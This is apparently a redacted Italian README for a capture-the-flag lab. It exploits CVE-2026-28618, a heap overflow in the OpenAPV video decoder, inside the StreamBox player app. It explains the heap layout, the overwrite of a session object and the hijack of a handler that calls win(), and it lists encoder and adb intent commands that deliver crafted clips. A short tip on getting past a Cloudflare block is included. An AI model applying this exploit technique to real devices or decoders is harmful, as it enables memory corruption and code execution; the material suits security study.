raafatabualazm/streambox-cve-2026-28618Note redatte su CVE-2026-28618 / laboratorio StreamBox APV — scrittura heap in un oggetto sessione tramite mancata corrispondenza dell'altezza FRAME
CVE-2026-28618 in StreamBox — la stessa classe di decoder OpenAPV di CVE-2026-0006, trasformata in una scrittura heap contro un oggetto sessione.
Questo repo è un writeup pubblico e redatto: flag, token di istanza e chiave HMAC sono omessi. L'APK e make_clip.py appartengono a Mobile Hacking Lab; non sono replicati qui.
StreamBox è un piccolo player APV. APV è Advanced Professional Video (RFC 9924), il codec royalty-free di Samsung, la stessa famiglia inclusa nello stack media di Android. La presentazione del lab è una frase: il player riproduce le clip condivise all'arrivo.
SEND, VIEW o streambox://play?url=… copia un file in files/incoming.apv ed esegue NativeDec.loadClip().
Il bug è CVE-2026-28618: un heap buffer overflow in dec_frm_prepare di OpenAPV. Stessa classe di decoder di CVE-2026-0006.
Il lab confeziona quella scrittura come un gioco. Overflow del piano Y hardcoded 64×64, smash di un oggetto sessione adiacente, dirottamento del teardown in handlers[2], e il Worker restituisce la flag.
Il kit è composto da due zip del lab:
streambox-lab.apk.zip — il playermake_clip.py.zip — come sono state costruite le clip della libreria 64×64, e il bitstream che causa l'overflowLa system-image ARM64 QEMU di Android Studio è una scelta poco adatta su un host x86-64. Questo APK è arm64-v8a / minSdk 34. Un AVD x86_64 API 34 con libndk_translation.so (abilist=x86_64,arm64-v8a) lo installa e lo esegue.
PlayerActivity fa:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
loadClip restituisce 1 (premium / session smash) o 2 (win() è già stato eseguito). openTier naviga solo l'interfaccia utente.
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
All'avvio l'app ha già eseguito POST /api/instance e NativeDec.setPlatinumToken(token). Quel token è ciò che l'overflow deve scrivere nella sessione.
arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t è hardcoded a 64×64, YUV a 10 bit. Il piano 0 (Y) inizia a arena+0. 64 × 64 × 2 = 0x2000. La sessione è arena + 0x2000 + pad. pad è SB_SESS_PAD oppure un nibble allineato a 0x400 di rand() dopo srand(getpid()^time()). Sull'AVD, Sunset Drive ha registrato session-arena = 0x3800 (pad = 0x1800). Il tile extra 64×128 è di 0x2000 byte, quindi raggiunge comunque la sessione per quei valori di pad.
oapvd_decode() scrive alla larghezza/altezza del FRAME PBU. Un FRAME più alto di 64 scrive campioni a 10 bit direttamente in session.
Dopo la decodifica:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;
Il generatore del lab produce 32 frame RGB da 64×64, li converte in yuv422p10le ed esegue esternamente l'encoder di riferimento OpenAPV:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
Ogni clip incluso è composto da 32 unità di accesso di FRAME 64×64:
[u32be au_size] ['aPv1' + PBUs] × 32
Il player alloca 64×64. I tile APV sono 64×64.
qemu-user (qemu-aarch64 + Android 10 linker64) e l'AVD concordano:
| Clip | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| Clip di libreria 64×64 | 0 | 0 (premium_hit=0) |
| altezza header 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT, stesso assert, il processo termina (home dopo il crash) |
| encoding reale 64×128 (due tile, QP 0) | 1 | 1 premium_hit=1 → SESSION ANOMALY |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
Una seconda codifica, a ciclo chiuso rispetto alla ricostruzione dell'encoder, inserisce il access token live e l'handler 2 (l'input Y≈4 viene ricostruito come 2). Ripeti quel prefisso di 16 byte lungo il piano Y 64×128 in modo che il padding non abbia importanza.
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
Sull'AVD:
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)
win() è stato eseguito all'interno di loadClip. openTier(2) ha solo aperto PremiumActivity, che ha effettuato il POST di quella prova.
Configurazione per qemu-user (non l'emulatore ARM64 di Android Studio): vedi i commenti in encode_overflow.py e il qemu-harness/README.md del lab.
PoC pubblico correlato per la classe di bug padre: mobilehackinglab/CVE-2026-0006-openapv-poc.
Python urllib riceve Cloudflare 1010. curl con uno UA mobile funziona.
Il Worker rifiuta il magic originale con no overflow evidence: session magic intact. L'ASCII STREAMBO (byte diversi dal LE uint64) viene conteggiato come scrittura.